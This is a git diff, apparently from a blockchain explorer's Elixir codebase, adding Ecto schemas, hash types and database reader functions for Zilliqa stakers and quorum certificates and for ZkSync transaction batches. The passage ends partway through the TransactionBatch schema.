b/apps/explorer/lib/explorer/chain/zilliqa/hash/bls_public_key.ex new file mode 100644 index 000000000000..a0f16b6eef46 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zilliqa/hash/bls_public_key.ex @@ -0,0 +1,58 @@ +defmodule Explorer.Chain.Zilliqa.Hash.BLSPublicKey do + @moduledoc """ + Staker's `blsPubKey` + """ + + alias Explorer.Chain.Hash + + use Ecto.Type + @behaviour Hash + + @byte_count 48 + + @typedoc """ + A #{@byte_count}-byte libp2p peer ID hash, corresponding to the staker's + `blsPubKey`. + """ + @type t :: %Hash{byte_count: unquote(@byte_count), bytes: <<_::unquote(@byte_count * Hash.bits_per_byte())>>} + + @doc """ + Casts a term to a `t`. + """ + @impl Ecto.Type + @spec cast(term()) :: {:ok, t()} | :error + def cast(term) do + Hash.cast(__MODULE__, term) + end + + @doc """ + Dumps a `t` to a binary. + """ + @impl Ecto.Type + @spec dump(term()) :: {:ok, binary} | :error + def dump(term) do + Hash.dump(__MODULE__, term) + end + + @doc """ + Loads a binary to a `t`. + """ + @impl Ecto.Type + @spec load(term()) :: {:ok, t()} | :error + def load(term) do + Hash.load(__MODULE__, term) + end + + @doc """ + Returns the type of the `t`. + """ + @impl Ecto.Type + @spec type() :: :binary + def type, do: :binary + + @doc """ + Returns the byte count of the `t`. + """ + @impl Hash + def byte_count, do: @byte_count +end diff --git a/apps/explorer/lib/explorer/chain/zilliqa/hash/peer_id.ex b/apps/explorer/lib/explorer/chain/zilliqa/hash/peer_id.ex new file mode 100644 index 000000000000..5ad612b059f5 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zilliqa/hash/peer_id.ex @@ -0,0 +1,58 @@ +defmodule Explorer.Chain.Zilliqa.Hash.PeerID do + @moduledoc """ + libp2p peer ID, corresponding to the staker's `blsPubKey` + """ + + alias Explorer.Chain.Hash + + use Ecto.Type + @behaviour Hash + + @byte_count 38 + + @typedoc """ + A #{@byte_count}-byte libp2p peer ID hash, corresponding to the staker's + `blsPubKey`. + """ + @type t :: %Hash{byte_count: unquote(@byte_count), bytes: <<_::unquote(@byte_count * Hash.bits_per_byte())>>} + + @doc """ + Casts a term to a `t`. + """ + @impl Ecto.Type + @spec cast(term()) :: {:ok, t()} | :error + def cast(term) do + Hash.cast(__MODULE__, term) + end + + @doc """ + Dumps a `t` to a binary. + """ + @impl Ecto.Type + @spec dump(term()) :: {:ok, binary} | :error + def dump(term) do + Hash.dump(__MODULE__, term) + end + + @doc """ + Loads a binary to a `t`. + """ + @impl Ecto.Type + @spec load(term()) :: {:ok, t()} | :error + def load(term) do + Hash.load(__MODULE__, term) + end + + @doc """ + Returns the type of the `t`. + """ + @impl Ecto.Type + @spec type() :: :binary + def type, do: :binary + + @doc """ + Returns the byte count of the `t`. + """ + @impl Hash + def byte_count, do: @byte_count +end diff --git a/apps/explorer/lib/explorer/chain/zilliqa/hash/signature.ex b/apps/explorer/lib/explorer/chain/zilliqa/hash/signature.ex new file mode 100644 index 000000000000..44c4253f990b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zilliqa/hash/signature.ex @@ -0,0 +1,60 @@ +defmodule Explorer.Chain.Zilliqa.Hash.Signature do + @moduledoc """ + A 96-byte BLS signature of the supermajority of the validators. + """ + + alias Explorer.Chain.Hash + + use Ecto.Type + @behaviour Hash + + @byte_count 96 + + @typedoc """ + A #{@byte_count}-byte BLS signature hash of the + `t:Explorer.Chain.Zilliqa.QuorumCertificate.t/0` or + `t:Explorer.Chain.Zilliqa.AggregateQuorumCertificate.t/0` or + `t:Explorer.Chain.Zilliqa.NestedQuorumCertificate.t/0`. + """ + @type t :: %Hash{byte_count: unquote(@byte_count), bytes: <<_::unquote(@byte_count * Hash.bits_per_byte())>>} + + @doc """ + Casts a term to a `t`. + """ + @impl Ecto.Type + @spec cast(term()) :: {:ok, t()} | :error + def cast(term) do + Hash.cast(__MODULE__, term) + end + + @doc """ + Dumps a `t` to a binary. + """ + @impl Ecto.Type + @spec dump(term()) :: {:ok, binary} | :error + def dump(term) do + Hash.dump(__MODULE__, term) + end + + @doc """ + Loads a binary to a `t`. + """ + @impl Ecto.Type + @spec load(term()) :: {:ok, t()} | :error + def load(term) do + Hash.load(__MODULE__, term) + end + + @doc """ + Returns the type of the `t`. + """ + @impl Ecto.Type + @spec type() :: :binary + def type, do: :binary + + @doc """ + Returns the byte count of the `t`. + """ + @impl Hash + def byte_count, do: @byte_count +end diff --git a/apps/explorer/lib/explorer/chain/zilliqa/helper.ex b/apps/explorer/lib/explorer/chain/zilliqa/helper.ex new file mode 100644 index 000000000000..748ae1f1e059 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zilliqa/helper.ex @@ -0,0 +1,18 @@ +defmodule Explorer.Chain.Zilliqa.Helper do + @moduledoc """ + Common helper functions for Zilliqa. + """ + + alias Explorer.Chain.Transaction + + @scilla_transactions_type 907_376 + + @doc """ + Checks if a transaction is a Scilla transaction. + + Scilla transactions have `type` set to #{@scilla_transactions_type}. + """ + @spec scilla_transaction?(Transaction.t() | integer()) :: boolean() + def scilla_transaction?(%Transaction{type: type}), do: scilla_transaction?(type) + def scilla_transaction?(type), do: type == @scilla_transactions_type +end diff --git a/apps/explorer/lib/explorer/chain/zilliqa/nested_quorum_certificate.ex b/apps/explorer/lib/explorer/chain/zilliqa/nested_quorum_certificate.ex new file mode 100644 index 000000000000..8edd55a14813 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zilliqa/nested_quorum_certificate.ex @@ -0,0 +1,64 @@ +defmodule Explorer.Chain.Zilliqa.NestedQuorumCertificate do + @moduledoc """ + A stored representation of a nested quorum certificate in Zilliqa's PBFT + consensus. + + In Zilliqa's PBFT (Practical Byzantine Fault Tolerance) consensus, an + aggregate quorum certificate may include multiple nested quorum certificates. + Each nested quorum certificate represents a quorum certificate proposed by a + specific validator and contains its own aggregated signatures and participant + information. + + Changes in the schema should be reflected in the bulk import module: + - `Explorer.Chain.Import.Runner.Zilliqa.AggregateQuorumCertificate` + """ + use Explorer.Schema + + alias Explorer.Chain.Hash + alias Explorer.Chain.Zilliqa.AggregateQuorumCertificate + alias Explorer.Chain.Zilliqa.Hash.Signature, as: SignatureHash + + @required_attrs ~w(block_hash proposed_by_validator_index view signature signers)a + + @typedoc """ + * `proposed_by_validator_index` - the index of the validator who proposed this + nested quorum certificate. + * `view` - the view number associated with the quorum certificate, indicating + the consensus round. + * `signature` - the aggregated BLS (Boneh–Lynn–Shacham) signature representing + the validators' agreement. + * `signers` - the array of integers representing the indices of validators who + participated in the quorum (as indicated by the `cosigned` bit vector). + * `block_hash` - the hash of the block associated with the aggregate quorum + certificate to which this nested quorum certificate belongs. + """ + @primary_key false + typed_schema "zilliqa_nested_quorum_certificates" do + field(:proposed_by_validator_index, :integer, primary_key: true) + field(:view, :integer) + field(:signature, SignatureHash) + field(:signers, {:array, :integer}) + + belongs_to(:aggregate_quorum_certificate, AggregateQuorumCertificate, + foreign_key: :block_hash, + references: :block_hash, + primary_key: true, + type: Hash.Full, + null: false + ) + + timestamps() + end + + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = cert, attrs) do + cert + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:block_hash) + |> unique_constraint( + [:proposed_by_validator_index, :block_hash], + name: :nested_quorum_certificates_pkey + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/zilliqa/quorum_certificate.ex b/apps/explorer/lib/explorer/chain/zilliqa/quorum_certificate.ex new file mode 100644 index 000000000000..61235bae2699 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zilliqa/quorum_certificate.ex @@ -0,0 +1,56 @@ +defmodule Explorer.Chain.Zilliqa.QuorumCertificate do + @moduledoc """ + A stored representation of a Zilliqa quorum certificate in the context of PBFT + consensus. + + In PBFT (Practical Byzantine Fault Tolerance) consensus, a quorum certificate + is a data structure that serves as proof that a block has been approved by a + supermajority of validators. It includes aggregated signatures and a bitmap + indicating which validators participated in the consensus. + + Changes in the schema should be reflected in the bulk import module: + - `Explorer.Chain.Import.Runner.Zilliqa.AggregateQuorumCertificate` + """ + use Explorer.Schema + + alias Explorer.Chain.{Block, Hash} + alias Explorer.Chain.Zilliqa.Hash.Signature, as: SignatureHash + + @required_attrs ~w(block_hash view signature signers)a + + @typedoc """ + * `view` - the view number associated with the quorum certificate, indicating + the consensus round. + * `signature` - the aggregated BLS (Boneh–Lynn–Shacham) signature representing + the validators' agreement. + * `signers` - the array of integers representing the indices of validators who + participated in the quorum (as indicated by the `cosigned` bit vector). + * `block_hash` - the hash of the block associated with this quorum + certificate. + """ + @primary_key false + typed_schema "zilliqa_quorum_certificates" do + field(:view, :integer) + field(:signature, SignatureHash) + field(:signers, {:array, :integer}) + + belongs_to(:block, Block, + foreign_key: :block_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + + timestamps() + end + + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = cert, attrs) do + cert + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:block_hash) + |> unique_constraint(:block_hash, name: :quorum_certificates_pkey) + end +end diff --git a/apps/explorer/lib/explorer/chain/zilliqa/reader.ex b/apps/explorer/lib/explorer/chain/zilliqa/reader.ex new file mode 100644 index 000000000000..726439ff551e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zilliqa/reader.ex @@ -0,0 +1,51 @@ +defmodule Explorer.Chain.Zilliqa.Reader do + @moduledoc """ + Reads Zilliqa-related data from the database. + """ + import Explorer.Chain, only: [add_fetcher_limit: 2] + import Ecto.Query, only: [from: 2] + + alias Explorer.Chain.{Address, Transaction} + alias Explorer.Repo + + @doc """ + Returns a stream of `t:Explorer.Chain.Address.t/0` for Scilla smart contracts + that should be displayed as verified. The stream yields unverified addresses + with fetched contract code created by transactions with `v` = `0`. + + ## Parameters + + - `initial`: The initial accumulator value for the stream. + - `reducer`: A function that processes each entry in the stream, receiving + the entry and the current accumulator, and returning a new accumulator. + - `limited?`: A boolean flag to indicate whether the result set should be + limited. Defaults to `false`. + + ## Returns + + - `{:ok, accumulator}`: The final accumulator value after streaming through + the unverified Scilla smart contract addresses. + """ + @spec stream_unverified_scilla_smart_contract_addresses( + initial :: accumulator, + reducer :: (entry :: term(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_unverified_scilla_smart_contract_addresses(initial, reducer, limited? \\ false) + when is_function(reducer, 2) do + query = + from( + a in Address, + join: t in Transaction, + on: a.hash == t.created_contract_address_hash, + where: t.status == :ok and t.v == 0 and not is_nil(a.contract_code) and a.verified == false, + order_by: [desc: t.block_number], + select: a + ) + + query + |> add_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end +end diff --git a/apps/explorer/lib/explorer/chain/zilliqa/staker.ex b/apps/explorer/lib/explorer/chain/zilliqa/staker.ex new file mode 100644 index 000000000000..36b7722f1d7e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zilliqa/staker.ex @@ -0,0 +1,118 @@ +defmodule Explorer.Chain.Zilliqa.Staker do + @moduledoc """ + Represents Zilliqa staker (i.e. validator) in the database. This is the + equivalent to on-chain Staker entity from + [Deposit](https://github.com/Zilliqa/zq2/blob/main/zilliqa/src/contracts/deposit_v3.sol) + contract. + """ + + use Explorer.Schema + alias Explorer.{Chain, SortingHelper} + alias Explorer.Chain.{Address, Hash} + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Chain.Zilliqa.Hash.PeerID + + @default_sorting [ + asc: :index + ] + + @typedoc """ + * `bls_public_key` - BLS public key of the staker. + * `index` - Index of the staker in the committee. + * `balance` - Staker's balance. + * `peer_id` - libp2p peer ID, corresponding to the staker's `blsPubKey`. + * `control_address` - The address used for authenticating requests from this + staker to the deposit contract. + * `reward_address` - The address which rewards for this staker will be sent + to. + * `signing_address` - The address whose key with which validators sign + cross-chain events. + * `added_at_block_number` - Block number at which the staker was added. + * `stake_updated_at_block_number` - Block number at which the staker's stake + was last updated. + """ + @primary_key false + typed_schema "zilliqa_stakers" do + field(:bls_public_key, :string, + source: :id, + primary_key: true + ) + + field(:index, :integer) + field(:balance, :decimal, null: false) + field(:peer_id, PeerID) + + belongs_to(:control_address, Address, + foreign_key: :control_address_hash, + references: :hash, + type: Hash.Address + ) + + belongs_to(:reward_address, Address, + foreign_key: :reward_address_hash, + references: :hash, + type: Hash.Address + ) + + belongs_to(:signing_address, Address, + foreign_key: :signing_address_hash, + references: :hash, + type: Hash.Address + ) + + field(:added_at_block_number, :integer, null: false) + field(:stake_updated_at_block_number, :integer, null: false) + timestamps() + end + + @doc """ + Query returning stakers that are currently present in the committee. + """ + @spec active_stakers_query() :: Ecto.Query.t() + def active_stakers_query do + max_block_number = BlockNumber.get_max() + + from(s in __MODULE__, + where: + s.balance > 0 and + s.added_at_block_number <= ^max_block_number + ) + end + + @doc """ + Get staker by BLS public key. + """ + @spec bls_public_key_to_staker(binary(), keyword()) :: {:ok, t()} | {:error, :not_found} + def bls_public_key_to_staker(bls_public_key, options \\ []) do + staker = Chain.select_repo(options).get(__MODULE__, bls_public_key) + + case staker do + nil -> {:error, :not_found} + staker -> {:ok, staker} + end + end + + @doc """ + Get paginated list of active stakers. + """ + @spec paginated_active_stakers(keyword()) :: [t()] + def paginated_active_stakers(options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + sorting = Keyword.get(options, :sorting, []) + + active_stakers_query() + |> Chain.join_associations(necessity_by_association) + |> SortingHelper.apply_sorting(sorting, @default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting, @default_sorting) + |> Chain.select_repo(options).all() + end + + @doc """ + Derive next page params + """ + @spec next_page_params(t()) :: map() + def next_page_params(%__MODULE__{index: index}) do + %{"index" => index} + end +end diff --git a/apps/explorer/lib/explorer/chain/zksync/batch_block.ex b/apps/explorer/lib/explorer/chain/zksync/batch_block.ex new file mode 100644 index 000000000000..08c9be6912d0 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zksync/batch_block.ex @@ -0,0 +1,37 @@ +defmodule Explorer.Chain.ZkSync.BatchBlock do + @moduledoc "Models a list of blocks related to a batch for ZkSync." + + use Explorer.Schema + + alias Explorer.Chain.{Block, Hash} + alias Explorer.Chain.ZkSync.TransactionBatch + + @required_attrs ~w(batch_number hash)a + + @type t :: %__MODULE__{ + batch_number: non_neg_integer(), + batch: %Ecto.Association.NotLoaded{} | TransactionBatch.t() | nil, + hash: Hash.t(), + block: %Ecto.Association.NotLoaded{} | Block.t() | nil + } + + @primary_key false + schema "zksync_batch_l2_blocks" do + belongs_to(:batch, TransactionBatch, foreign_key: :batch_number, references: :number, type: :integer) + belongs_to(:block, Block, foreign_key: :hash, primary_key: true, references: :hash, type: Hash.Full) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = items, attrs \\ %{}) do + items + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:batch_number) + |> unique_constraint(:hash) + end +end diff --git a/apps/explorer/lib/explorer/chain/zksync/batch_transaction.ex b/apps/explorer/lib/explorer/chain/zksync/batch_transaction.ex new file mode 100644 index 000000000000..d9c95f42f6b4 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zksync/batch_transaction.ex @@ -0,0 +1,51 @@ +defmodule Explorer.Chain.ZkSync.BatchTransaction do + @moduledoc """ + Models a list of transactions related to a batch for ZkSync. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.ZkSync.BatchTransactions + + Migrations: + - Explorer.Repo.ZkSync.Migrations.CreateZkSyncTables + - Explorer.Repo.ZkSync.Migrations.RenameFieldInBatchTransactions + """ + + use Explorer.Schema + + alias Explorer.Chain.{Hash, Transaction} + alias Explorer.Chain.ZkSync.TransactionBatch + + @required_attrs ~w(batch_number transaction_hash)a + + @typedoc """ + * `transaction_hash` - The hash of the rollup transaction. + * `l2_transaction` - An instance of `Explorer.Chain.Transaction` referenced by `transaction_hash`. + * `batch_number` - The number of the ZkSync batch. + * `batch` - An instance of `Explorer.Chain.ZkSync.TransactionBatch` referenced by `batch_number`. + """ + @primary_key false + typed_schema "zksync_batch_l2_transactions" do + belongs_to(:batch, TransactionBatch, foreign_key: :batch_number, references: :number, type: :integer) + + belongs_to(:l2_transaction, Transaction, + foreign_key: :transaction_hash, + primary_key: true, + references: :hash, + type: Hash.Full + ) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = transactions, attrs \\ %{}) do + transactions + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:batch_number) + |> unique_constraint(:transaction_hash) + end +end diff --git a/apps/explorer/lib/explorer/chain/zksync/lifecycle_transaction.ex b/apps/explorer/lib/explorer/chain/zksync/lifecycle_transaction.ex new file mode 100644 index 000000000000..cc2ec207a6a2 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zksync/lifecycle_transaction.ex @@ -0,0 +1,38 @@ +defmodule Explorer.Chain.ZkSync.LifecycleTransaction do + @moduledoc "Models an L1 lifecycle transaction for ZkSync." + + use Explorer.Schema + + alias Explorer.Chain.Hash + alias Explorer.Chain.ZkSync.TransactionBatch + + @required_attrs ~w(id hash timestamp)a + + @type t :: %__MODULE__{ + hash: Hash.t(), + timestamp: DateTime.t() + } + + @primary_key {:id, :integer, autogenerate: false} + schema "zksync_lifecycle_l1_transactions" do + field(:hash, Hash.Full) + field(:timestamp, :utc_datetime_usec) + + has_many(:committed_batches, TransactionBatch, foreign_key: :commit_id) + has_many(:proven_batches, TransactionBatch, foreign_key: :prove_id) + has_many(:executed_batches, TransactionBatch, foreign_key: :execute_id) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = txn, attrs \\ %{}) do + txn + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:id) + end +end diff --git a/apps/explorer/lib/explorer/chain/zksync/reader.ex b/apps/explorer/lib/explorer/chain/zksync/reader.ex new file mode 100644 index 000000000000..f16e124d50d7 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zksync/reader.ex @@ -0,0 +1,381 @@ +defmodule Explorer.Chain.ZkSync.Reader do + @moduledoc "Contains read functions for zksync modules." + + import Ecto.Query, + only: [ + from: 2, + limit: 2, + order_by: 2, + where: 2, + where: 3 + ] + + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Chain.ZkSync.{ + BatchTransaction, + LifecycleTransaction, + TransactionBatch + } + + alias Explorer.{Chain, PagingOptions, Repo} + alias Explorer.Prometheus.Instrumenter + + @doc """ + Receives total amount of batches imported to the `zksync_transaction_batches` table. + + ## Parameters + - `options`: passed to `Chain.select_repo()` + + ## Returns + Total amount of batches + """ + @spec batches_count(keyword()) :: any() + def batches_count(options) do + TransactionBatch + |> select_repo(options).aggregate(:count, timeout: :infinity) + end + + @doc """ + Receives the batch from the `zksync_transaction_batches` table by using its number or the latest batch if `:latest` is used. + + ## Parameters + - `number`: could be either the batch number or `:latest` to get the latest available in DB batch + - `options`: passed to `Chain.select_repo()` + + ## Returns + - `{:ok, Explorer.Chain.ZkSync.TransactionBatch}` if the batch found + - `{:error, :not_found}` if there is no batch with such number + """ + @spec batch(:latest | binary() | integer(), keyword()) :: + {:error, :not_found} | {:ok, Explorer.Chain.ZkSync.TransactionBatch} + def batch(number, options) + + def batch(:latest, options) when is_list(options) do + TransactionBatch + |> order_by(desc: :number) + |> limit(1) + |> select_repo(options).one() + |> case do + nil -> {:error, :not_found} + batch -> {:ok, batch} + end + end + + def batch(number, options) + when (is_integer(number) or is_binary(number)) and + is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + TransactionBatch + |> where(number: ^number) + |> Chain.join_associations(necessity_by_association) + |> select_repo(options).one() + |> case do + nil -> {:error, :not_found} + batch -> {:ok, batch} + end + end + + @doc """ + Receives a list of batches from the `zksync_transaction_batches` table within the range of batch numbers + + ## Parameters + - `start_number`: The start of the batch numbers range. + - `end_number`: The end of the batch numbers range. + - `options`: Options passed to `Chain.select_repo()`. + + ## Returns + - A list of `Explorer.Chain.ZkSync.TransactionBatch` if at least one batch exists within the range. + - An empty list (`[]`) if no batches within the range are found in the database. + """ + @spec batches(integer(), integer(), keyword()) :: [Explorer.Chain.ZkSync.TransactionBatch] + def batches(start_number, end_number, options) + when is_integer(start_number) and + is_integer(end_number) and + is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + base_query = from(tb in TransactionBatch, order_by: [desc: tb.number]) + + base_query + |> where([tb], tb.number >= ^start_number and tb.number <= ^end_number) + |> Chain.join_associations(necessity_by_association) + |> select_repo(options).all() + end + + @doc """ + Receives a list of batches from the `zksync_transaction_batches` table with the numbers defined in the input list. + + ## Parameters + - `numbers`: The list of batch numbers to retrieve from the database. + - `options`: Options passed to `Chain.select_repo()`. + + ## Returns + - A list of `Explorer.Chain.ZkSync.TransactionBatch` if at least one batch matches the numbers from the list. The output list could be less than the input list. + - An empty list (`[]`) if no batches with numbers from the list are found. + """ + @spec batches(maybe_improper_list(integer(), []), keyword()) :: [Explorer.Chain.ZkSync.TransactionBatch] + def batches(numbers, options) + when is_list(numbers) and + is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + base_query = from(tb in TransactionBatch, order_by: [desc: tb.number]) + + base_query + |> where([tb], tb.number in ^numbers) + |> Chain.join_associations(necessity_by_association) + |> select_repo(options).all() + end + + @doc """ + Receives a list of batches from the `zksync_transaction_batches` table. + + ## Parameters + - `options`: Options passed to `Chain.select_repo()`. (Optional) + + ## Returns + - If the option `confirmed?` is set, returns the ten latest committed batches (`Explorer.Chain.ZkSync.TransactionBatch`). + - Returns a list of `Explorer.Chain.ZkSync.TransactionBatch` based on the paging options if `confirmed?` is not set. + """ + @spec batches(keyword()) :: [Explorer.Chain.ZkSync.TransactionBatch] + @spec batches() :: [Explorer.Chain.ZkSync.TransactionBatch] + def batches(options \\ []) when is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + base_query = + from(tb in TransactionBatch, + order_by: [desc: tb.number] + ) + + query = + if Keyword.get(options, :confirmed?, false) do + base_query + |> Chain.join_associations(necessity_by_association) + |> where([tb], not is_nil(tb.commit_id) and tb.commit_id > 0) + |> limit(10) + else + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query + |> Chain.join_associations(necessity_by_association) + |> page_batches(paging_options) + |> limit(^paging_options.page_size) + end + end + + select_repo(options).all(query) + end + + @doc """ + Receives a list of transactions from the `zksync_batch_l2_transactions` table included in a specific batch. + + ## Parameters + - `batch_number`: The number of batch which transactions were included to L1 as part of. + - `options`: Options passed to `Chain.select_repo()`. (Optional) + + ## Returns + - A list of `Explorer.Chain.ZkSync.BatchTransaction` belonging to the specified batch. + """ + @spec batch_transactions(non_neg_integer()) :: [Explorer.Chain.ZkSync.BatchTransaction] + @spec batch_transactions(non_neg_integer(), keyword()) :: [Explorer.Chain.ZkSync.BatchTransaction] + def batch_transactions(batch_number, options \\ []) + when is_integer(batch_number) or + is_binary(batch_number) do + query = from(batch in BatchTransaction, where: batch.batch_number == ^batch_number) + + select_repo(options).all(query) + end + + @doc """ + Gets the number of the earliest batch in the `zksync_transaction_batches` table where the commitment transaction is not set. + Batch #0 is filtered out, as it does not have a linked commitment transaction. + + ## Returns + - The number of a batch if it exists, otherwise `nil`. `nil` could mean either no batches imported yet or all imported batches are marked as committed or Batch #0 is the only available batch. + """ + @spec earliest_sealed_batch_number() :: non_neg_integer() | nil + def earliest_sealed_batch_number do + query = + from(tb in TransactionBatch, + select: tb.number, + where: is_nil(tb.commit_id) and tb.number > 0, + order_by: [asc: tb.number], + limit: 1 + ) + + query + |> Repo.one() + end + + @doc """ + Gets the number of the earliest batch in the `zksync_transaction_batches` table where the proving transaction is not set. + Batch #0 is filtered out, as it does not have a linked proving transaction. + + ## Returns + - The number of a batch if it exists, otherwise `nil`. `nil` could mean either no batches imported yet or all imported batches are marked as proven or Batch #0 is the only available batch. + """ + @spec earliest_unproven_batch_number() :: non_neg_integer() | nil + def earliest_unproven_batch_number do + query = + from(tb in TransactionBatch, + select: tb.number, + where: is_nil(tb.prove_id) and tb.number > 0, + order_by: [asc: tb.number], + limit: 1 + ) + + query + |> Repo.one() + end + + @doc """ + Gets the number of the earliest batch in the `zksync_transaction_batches` table where the executing transaction is not set. + Batch #0 is filtered out, as it does not have a linked executing transaction. + + ## Returns + - The number of a batch if it exists, otherwise `nil`. `nil` could mean either no batches imported yet or all imported batches are marked as executed or Batch #0 is the only available batch. + """ + @spec earliest_unexecuted_batch_number() :: non_neg_integer() | nil + def earliest_unexecuted_batch_number do + query = + from(tb in TransactionBatch, + select: tb.number, + where: is_nil(tb.execute_id) and tb.number > 0, + order_by: [asc: tb.number], + limit: 1 + ) + + query + |> Repo.one() + end + + @doc """ + Gets the number of the oldest batch from the `zksync_transaction_batches` table. + + ## Returns + - The number of a batch if it exists, otherwise `nil`. `nil` means that there is no batches imported yet. + """ + @spec oldest_available_batch_number() :: non_neg_integer() | nil + def oldest_available_batch_number do + query = + from(tb in TransactionBatch, + select: tb.number, + order_by: [asc: tb.number], + limit: 1 + ) + + query + |> Repo.one() + end + + @doc """ + Gets the number of the youngest (the most recent) imported batch from the `zksync_transaction_batches` table. + + ## Returns + - The number of a batch if it exists, otherwise `nil`. `nil` means that there is no batches imported yet. + """ + @spec latest_available_batch_number() :: non_neg_integer() | nil + def latest_available_batch_number do + query = + from(tb in TransactionBatch, + select: tb.number, + order_by: [desc: tb.number], + limit: 1 + ) + + query + |> Repo.one() + end + + @doc """ + Reads a list of L1 transactions by their hashes from the `zksync_lifecycle_l1_transactions` table. + + ## Parameters + - `l1_transaction_hashes`: A list of hashes to retrieve L1 transactions for. + + ## Returns + - A list of `Explorer.Chain.ZkSync.LifecycleTransaction` corresponding to the hashes from the input list. The output list may be smaller than the input list. + """ + @spec lifecycle_transactions(maybe_improper_list(binary(), [])) :: [Explorer.Chain.ZkSync.LifecycleTransaction] + def lifecycle_transactions(l1_transaction_hashes) do + query = + from( + lt in LifecycleTransaction, + select: {lt.hash, lt.id}, + where: lt.hash in ^l1_transaction_hashes + ) + + Repo.all(query, timeout: :infinity) + end + + @doc """ + Determines the next index for the L1 transaction available in the `zksync_lifecycle_l1_transactions` table. + + ## Returns + - The next available index. If there are no L1 transactions imported yet, it will return `1`. + """ + @spec next_id() :: non_neg_integer() + def next_id do + query = + from(lt in LifecycleTransaction, + select: lt.id, + order_by: [desc: lt.id], + limit: 1 + ) + + last_id = + query + |> Repo.one() + |> Kernel.||(0) + + last_id + 1 + end + + defp page_batches(query, %PagingOptions{key: nil}), do: query + + defp page_batches(query, %PagingOptions{key: {number}}) do + from(tb in query, where: tb.number < ^number) + end + + @doc """ + Gets information about the latest batch and calculates average time between commitments. + + ## Parameters + - `options`: Options passed to `Chain.select_repo()`. (Optional) + + ## Returns + - If batches exist and at least one batch is committed: + `{:ok, %{latest_batch_number: integer, latest_batch_timestamp: DateTime.t(), average_batch_time: integer}}` + where: + * latest_batch_number - number of the latest batch in the database + * latest_batch_timestamp - when the latest batch was committed to L1 + * average_batch_time - average number of seconds between commits for the last 10 batches + + - If no committed batches exist: `{:error, :not_found}` + """ + @spec get_latest_batch_info(keyword()) :: {:ok, map()} | {:error, :not_found} + def get_latest_batch_info(options \\ []) do + import Ecto.Query + + latest_batches_query = + from(batch in TransactionBatch, + join: tx in assoc(batch, :commit_transaction), + order_by: [desc: batch.number], + limit: 10, + select: %{ + number: batch.number, + timestamp: tx.timestamp + } + ) + + items = select_repo(options).all(latest_batches_query) + Instrumenter.prepare_batch_metric(items) + end +end diff --git a/apps/explorer/lib/explorer/chain/zksync/transaction_batch.ex b/apps/explorer/lib/explorer/chain/zksync/transaction_batch.ex new file mode 100644 index 000000000000..d19f22af61c3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zksync/transaction_batch.ex @@ -0,0 +1,83 @@ +defmodule Explorer.Chain.ZkSync.TransactionBatch do + @moduledoc "Models a batch of transactions for ZkSync." + + use Explorer.Schema + + alias Explorer.Chain.{ + Block, + Hash, + Wei + } + + alias Explorer.Chain.ZkSync.{BatchTransaction, LifecycleTransaction} + + @optional_attrs ~w(commit_id prove_id execute_id)a + + @required_attrs ~w(number timestamp l1_transaction_count l2_transaction_count root_hash l1_gas_price l2_fair_gas_price start_block end_block)a + + @type t :: %__MODULE__{ + number: non_neg_integer(), + timestamp: DateTime.t(), + l1_transaction_count: non_neg_integer(), + l2_transaction_count: non_neg_integer(), + root_hash: Hash.t(), + l1_gas_price: Wei.t(), + l2_fair_gas_price: Wei.t(), + start_block: Block.block_number(), + end_block: Block.block_number(), + commit_id: non_neg_integer() | nil, + commit_transaction: %Ecto.Association.NotLoaded{} | LifecycleTransaction.t() | nil, + prove_id: non_neg_integer() | nil, + prove_transaction: %Ecto.Association.NotLoaded{} | LifecycleTransaction.t() | nil, + execute_id: non_neg_integer() | nil, + execute_transaction: %Ecto.Association.NotLoaded{} | LifecycleTransaction.t() | nil + } + + @primary_key {:number, :integer, autogenerate: false} + schema 